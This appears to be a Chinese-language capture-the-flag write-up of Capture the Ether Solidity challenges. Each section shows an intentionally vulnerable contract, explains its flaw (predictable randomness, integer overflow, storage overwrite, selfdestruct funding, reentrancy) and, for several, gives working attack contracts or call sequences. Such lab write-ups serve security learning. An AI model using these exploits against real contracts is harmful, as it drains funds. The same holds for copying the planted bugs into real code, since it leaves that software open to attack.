Guess the number
Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.4.21; contract GuessTheNumberChallenge { uint8 answer = 42; function GuessTheNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == answer) { msg.sender.transfer(2 ether); } } }
Analysis 这道题只需要将42输入到guess()
函数里,并向合约发送1 ether
即可
Guess the secret number Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.4.21; contract GuessTheSecretNumberChallenge { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; function GuessTheSecretNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (keccak256(n) == answerHash) { msg.sender.transfer(2 ether); } } }
Analysis 这道题需要找到一个数字n,使其keccak256
加密结果与answerHash
相等,正常来说找到是基本不可能的,但由于这道题数字n大小限制为uint8
,范围很小所以可以爆破出来。
Guess the random number Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.4.21; contract GuessTheRandomNumberChallenge { uint8 answer; function GuessTheRandomNumberChallenge() public payable { require(msg.value == 1 ether); answer = uint8(keccak256(block.blockhash(block.number - 1), now)); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == answer) { msg.sender.transfer(2 ether); } } }
Analysis 这道题只需要,通过web3
库的getStorageAt(address,slot)
去读取变量值即可
Guess the new number Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pragma solidity ^0.4.21; contract GuessTheNewNumberChallenge { function GuessTheNewNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); if (n == answer) { msg.sender.transfer(2 ether); } } }
Analysis 这道题就是个伪随机数的问题,只需要我们在一次交易时,也使用这道题中伪随机数的方法获取n,输入即可
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 pragma solidity ^0.4.21; import "./GuessTheNewNumber.sol"; contract Poc { GuessTheNewNumberChallenge target; constructor(address _addr) public { target = GuessTheNewNumberChallenge(_addr); } function pwn() public payable { uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); target.guess.value(0.001 ether)(answer); } receive () public payable {}
Predict the future Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; contract PredictTheFutureChallenge { address guesser; uint8 guess; uint256 settlementBlockNumber; function PredictTheFutureChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } } }
Analysis 这道题第一眼看上去会以为很难,但再看会发现计算随机数那里对10
取余了,所以只需要在0-9
随便猜一个数多调用几次即可。
Predict the block hash Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; contract PredictTheBlockHashChallenge { address guesser; bytes32 guess; uint256 settlementBlockNumber; function PredictTheBlockHashChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(bytes32 hash) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = hash; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); bytes32 answer = block.blockhash(settlementBlockNumber); guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } } }
Analysis 这道题卡了我很久,之后经过搜索才知道,block.blockhash()
只会返回最近256个区块的哈希值,只要猜测hash为0,在等待一段时间调用settle()
即可
Token sale Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pragma solidity ^0.4.21; contract TokenSaleChallenge { mapping(address => uint256) public balanceOf; uint256 constant PRICE_PER_TOKEN = 1 ether; function TokenSaleChallenge(address _player) public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance < 1 ether; } function buy(uint256 numTokens) public payable { require(msg.value == numTokens * PRICE_PER_TOKEN); balanceOf[msg.sender] += numTokens; } function sell(uint256 numTokens) public { require(balanceOf[msg.sender] >= numTokens); balanceOf[msg.sender] -= numTokens; msg.sender.transfer(numTokens * PRICE_PER_TOKEN); } }
Analysis 这道题考察的是算数溢出,当输入的numTokens
足够大让其乘以PRICE_PER_TOKEN
溢出,就可以只发送几wei
就可以拥有很多token,再通过sell()
拿走1 token
即可
Token whale Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 pragma solidity ^0.4.21; contract TokenWhaleChallenge { address player; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; string public name = "Simple ERC20 Token"; string public symbol = "SET"; uint8 public decimals = 18; function TokenWhaleChallenge(address _player) public { player = _player; totalSupply = 1000; balanceOf[player] = 1000; } function isComplete() public view returns (bool) { return balanceOf[player] >= 1000000; } event Transfer(address indexed from, address indexed to, uint256 value); function _transfer(address to, uint256 value) internal { balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); } function transfer(address to, uint256 value) public { require(balanceOf[msg.sender] >= value); require(balanceOf[to] + value >= balanceOf[to]); _transfer(to, value); } event Approval(address indexed owner, address indexed spender, uint256 value); function approve(address spender, uint256 value) public { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); } function transferFrom(address from, address to, uint256 value) public { require(balanceOf[from] >= value); require(balanceOf[to] + value >= balanceOf[to]); require(allowance[from][msg.sender] >= value); allowance[from][msg.sender] -= value; _transfer(to, value); } }
Analysis 这道题的漏洞出在了_transfer()
,它的余额扣除的不是from
的,而是msg.sender
的,我们就可以通过player
授权给一个攻击合约,利用这个攻击合约调用transferFrom()
,from
和to
都填player
即可,这样就会造成算数下溢,就会使攻击合约的余额很大,再转给player
一部分即可
Retirement fund Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0.4.21; contract RetirementFundChallenge { uint256 startBalance; address owner = msg.sender; address beneficiary; uint256 expiration = now + 10 years; function RetirementFundChallenge(address player) public payable { require(msg.value == 1 ether); beneficiary = player; startBalance = msg.value; } function isComplete() public view returns (bool) { return address(this).balance == 0; } function withdraw() public { require(msg.sender == owner); if (now < expiration) { // early withdrawal incurs a 10% penalty msg.sender.transfer(address(this).balance * 9 / 10); } else { msg.sender.transfer(address(this).balance); } } function collectPenalty() public { require(msg.sender == beneficiary); uint256 withdrawn = startBalance - address(this).balance; // an early withdrawal occurred require(withdrawn > 0); // penalty is what's left msg.sender.transfer(address(this).balance); } }
Analysis 这道题是让我们转走这个合约的所有余额,很显然是让我们调用collectPenalty()
这个函数转走所有钱了,因为withdraw()
只能由owner
调用,仔细分析只要我们能使withdrawn
这个变量大于0
即可,我们可以通过自毁函数来向这个合约发钱,使得这个合约的余额大于statrtBalance
,至于为什么用自毁函数是因为这个合约没有接受函数,之后就会造成算数下溢,使得withdrawn
大于0
,就可以转走所有钱了
Attack 1 2 3 4 5 6 7 8 9 10 11 contract Attack{ RetirementFundChallenge target; constructor(address _addr) public payable{ target = RetirementFundChallenge(_addr); } function attack() public{ selfdestruct(target); } }
Mapping Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pragma solidity ^0.4.21; contract MappingChallenge { bool public isComplete; uint256[] map; function set(uint256 key, uint256 value) public { // Expand dynamic array as needed if (map.length <= key) { map.length = key + 1; } map[key] = value; } function get(uint256 key) public view returns (uint256) { return map[key]; } }
Analysis 这道题考察的使数组溢出,先调用set()
这个函数,传入参数115792089237316195423570985008687907853269984665640564039457584007913129639934,1
,使得数组达到最大值,再通过2^256-keccak256(1)
计算出isComplete
的位置,再次调用set()
函数,传入参数35707666377435648211887908874984608119992236509074197713628505308453184860938,1
进行覆盖,就可以使isComplete
变量值变为真
Donation Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.4.21; contract DonationChallenge { struct Donation { uint256 timestamp; uint256 etherAmount; } Donation[] public donations; address public owner; function DonationChallenge() public payable { require(msg.value == 1 ether); owner = msg.sender; } function isComplete() public view returns (bool) { return address(this).balance == 0; } function donate(uint256 etherAmount) public payable { // amount is in ether, but msg.value is in wei uint256 scale = 10**18 * 1 ether; require(msg.value == etherAmount / scale); Donation donation; donation.timestamp = now; donation.etherAmount = etherAmount; donations.push(donation); } function withdraw() public { require(msg.sender == owner); msg.sender.transfer(address(this).balance); } }
Analysis 这道题考察的是变量覆盖,当合约中一个临时的结构体变量未初始化时,对其赋值就会对合约的全局变量进行覆盖,所以这道题只需要调用donate()
,传入的参数为自己的账户地址即可改变owner,需要注意的是传入value
的多少要计算一下
Fifty years Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 pragma solidity ^0.4.21; contract FiftyYearsChallenge { struct Contribution { uint256 amount; uint256 unlockTimestamp; } Contribution[] queue; uint256 head; address owner; function FiftyYearsChallenge(address player) public payable { require(msg.value == 1 ether); owner = player; queue.push(Contribution(msg.value, now + 50 years)); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function upsert(uint256 index, uint256 timestamp) public payable { require(msg.sender == owner); if (index >= head && index < queue.length) { // Update existing contribution amount without updating timestamp. Contribution storage contribution = queue[index]; contribution.amount += msg.value; } else { // Append a new contribution. Require that each contribution unlock // at least 1 day after the previous one. require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days); contribution.amount = msg.value; contribution.unlockTimestamp = timestamp; queue.push(contribution); } } function withdraw(uint256 index) public { require(msg.sender == owner); require(now >= queue[index].unlockTimestamp); // Withdraw this and any earlier contributions. uint256 total = 0; for (uint256 i = head; i <= index; i++) { total += queue[i].amount; // Reclaim storage. delete queue[i]; } // Move the head of the queue forward so we don't have to loop over // already-withdrawn contributions. head = index + 1; msg.sender.transfer(total); } }
Analysis 这道题看到结构体会先想到是变量覆盖,但是看到if
里面会发现初始化了行不通,但在看else
里面还是可以进行变量覆盖的,会覆盖动态结构体数组的长度和head
,同时还会在里面发现漏洞timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days
,这里存在一个溢出漏洞,我们要想方设法使得这里造成溢出,才能随时提出存款,并且还要使得最终timestamp
为0
,否则head
不为0
,也无法提出所有存款,同时值得注意的一点是,变量覆盖时,如果我们给的msg.value
值为1
,但contribution.amount
的值却为2
,并且数组长度也为2
,是因为后面进行了一个push
操作,所以我们还要想办法处理掉这个的影响,否则会转账失败
Attack 1 2 3 upsert(2,115792089237316195423570985008687907853269984665640564039457584007913129553536) (value:1) upsert(2,0) (value:1) withdraw(1)
Fuzzy identity Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; interface IName { function name() external view returns (bytes32); } contract FuzzyIdentityChallenge { bool public isComplete; function authenticate() public { require(isSmarx(msg.sender)); require(isBadCode(msg.sender)); isComplete = true; } function isSmarx(address addr) internal view returns (bool) { return IName(addr).name() == bytes32("smarx"); } function isBadCode(address _addr) internal pure returns (bool) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000badc0de"; bytes20 mask = hex"000000000000000000000000000000000fffffff"; for (uint256 i = 0; i < 34; i++) { if (addr & mask == id) { return true; } mask <<= 4; id <<= 4; } return false; } }
Analysis 这道题考察的是对create2
的运用,只需要写下一个攻击合约在合约的name()
函数中返回值为bytes32("smarx")
,并通过create2
创建这个合约使它的地址包含badc0de
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 contract Attack is IName{ function name() external view returns (bytes32){ return bytes32("smarx"); } function attack(address _addr) public { FuzzyIdentityChallenge(_addr).authenticate(); } } contract Deployer { // contractBytecode是待部署合约的bytecode address public a; bytes code = hex"your code"; function deploy(uint salt) internal returns (address){ bytes memory bytecode = code; address addr; assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } return addr; } function get(uint salt)public { a=deploy(salt); } }
Assume ownership Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.4.21; contract AssumeOwnershipChallenge { address owner; bool public isComplete; function AssumeOwmershipChallenge() public { owner = msg.sender; } function authenticate() public { require(msg.sender == owner); isComplete = true; } }
Analysis 这道题看似是构造函数实则打错字了,直接调用即可
Token bank Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 pragma solidity ^0.4.21; interface ITokenReceiver { function tokenFallback(address from, uint256 value, bytes data) external; } contract SimpleERC223Token { // Track how many tokens are owned by each address. mapping (address => uint256) public balanceOf; string public name = "Simple ERC223 Token"; string public symbol = "SET"; uint8 public decimals = 18; uint256 public totalSupply = 1000000 * (uint256(10) ** decimals); event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC223Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return length > 0; } function transfer(address to, uint256 value) public returns (bool success) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint256 value, bytes data) public returns (bool) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); if (isContract(to)) { ITokenReceiver(to).tokenFallback(msg.sender, value, data); } return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } } contract TokenBankChallenge { SimpleERC223Token public token; mapping(address => uint256) public balanceOf; function TokenBankChallenge(address player) public { token = new SimpleERC223Token(); // Divide up the 1,000,000 tokens, which are all initially assigned to // the token contract's creator (this contract). balanceOf[msg.sender] = 500000 * 10**18; // half for me balanceOf[player] = 500000 * 10**18; // half for you } function isComplete() public view returns (bool) { return token.balanceOf(this) == 0; } function tokenFallback(address from, uint256 value, bytes) public { require(msg.sender == address(token)); require(balanceOf[from] + value >= balanceOf[from]); balanceOf[from] += value; } function withdraw(uint256 amount) public { require(balanceOf[msg.sender] >= amount); require(token.transfer(msg.sender, amount)); balanceOf[msg.sender] -= amount; } }
Analysis 这道题考察的是重入漏洞,因为在withdraw()
中是先transfer()
再减去的balanceOf
所以可以进行重入攻击,首先要将player
的token
提出来并存入到攻击合约,再将攻击合约的token
存入进去,才能利用withdraw
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 contract Attack { TokenBankChallenge public target = TokenBankChallenge(0xaE036c65C649172b43ef7156b009c6221B596B8b); SimpleERC223Token public token = SimpleERC223Token(0x476915eBDb08CaeeDf98953D7c940146Ff5BAA94); uint256 public i = 0; function tokenFallback(address from, uint256 value, bytes data) public{ if(i<1){ i++; target.withdraw(500000000000000000000000); } } function attack1() public{ token.transfer(target,500000000000000000000000,""); } function attack2() public{ target.withdraw(500000000000000000000000); } function balancE() public view{ token.balanceOf(address(this)); } }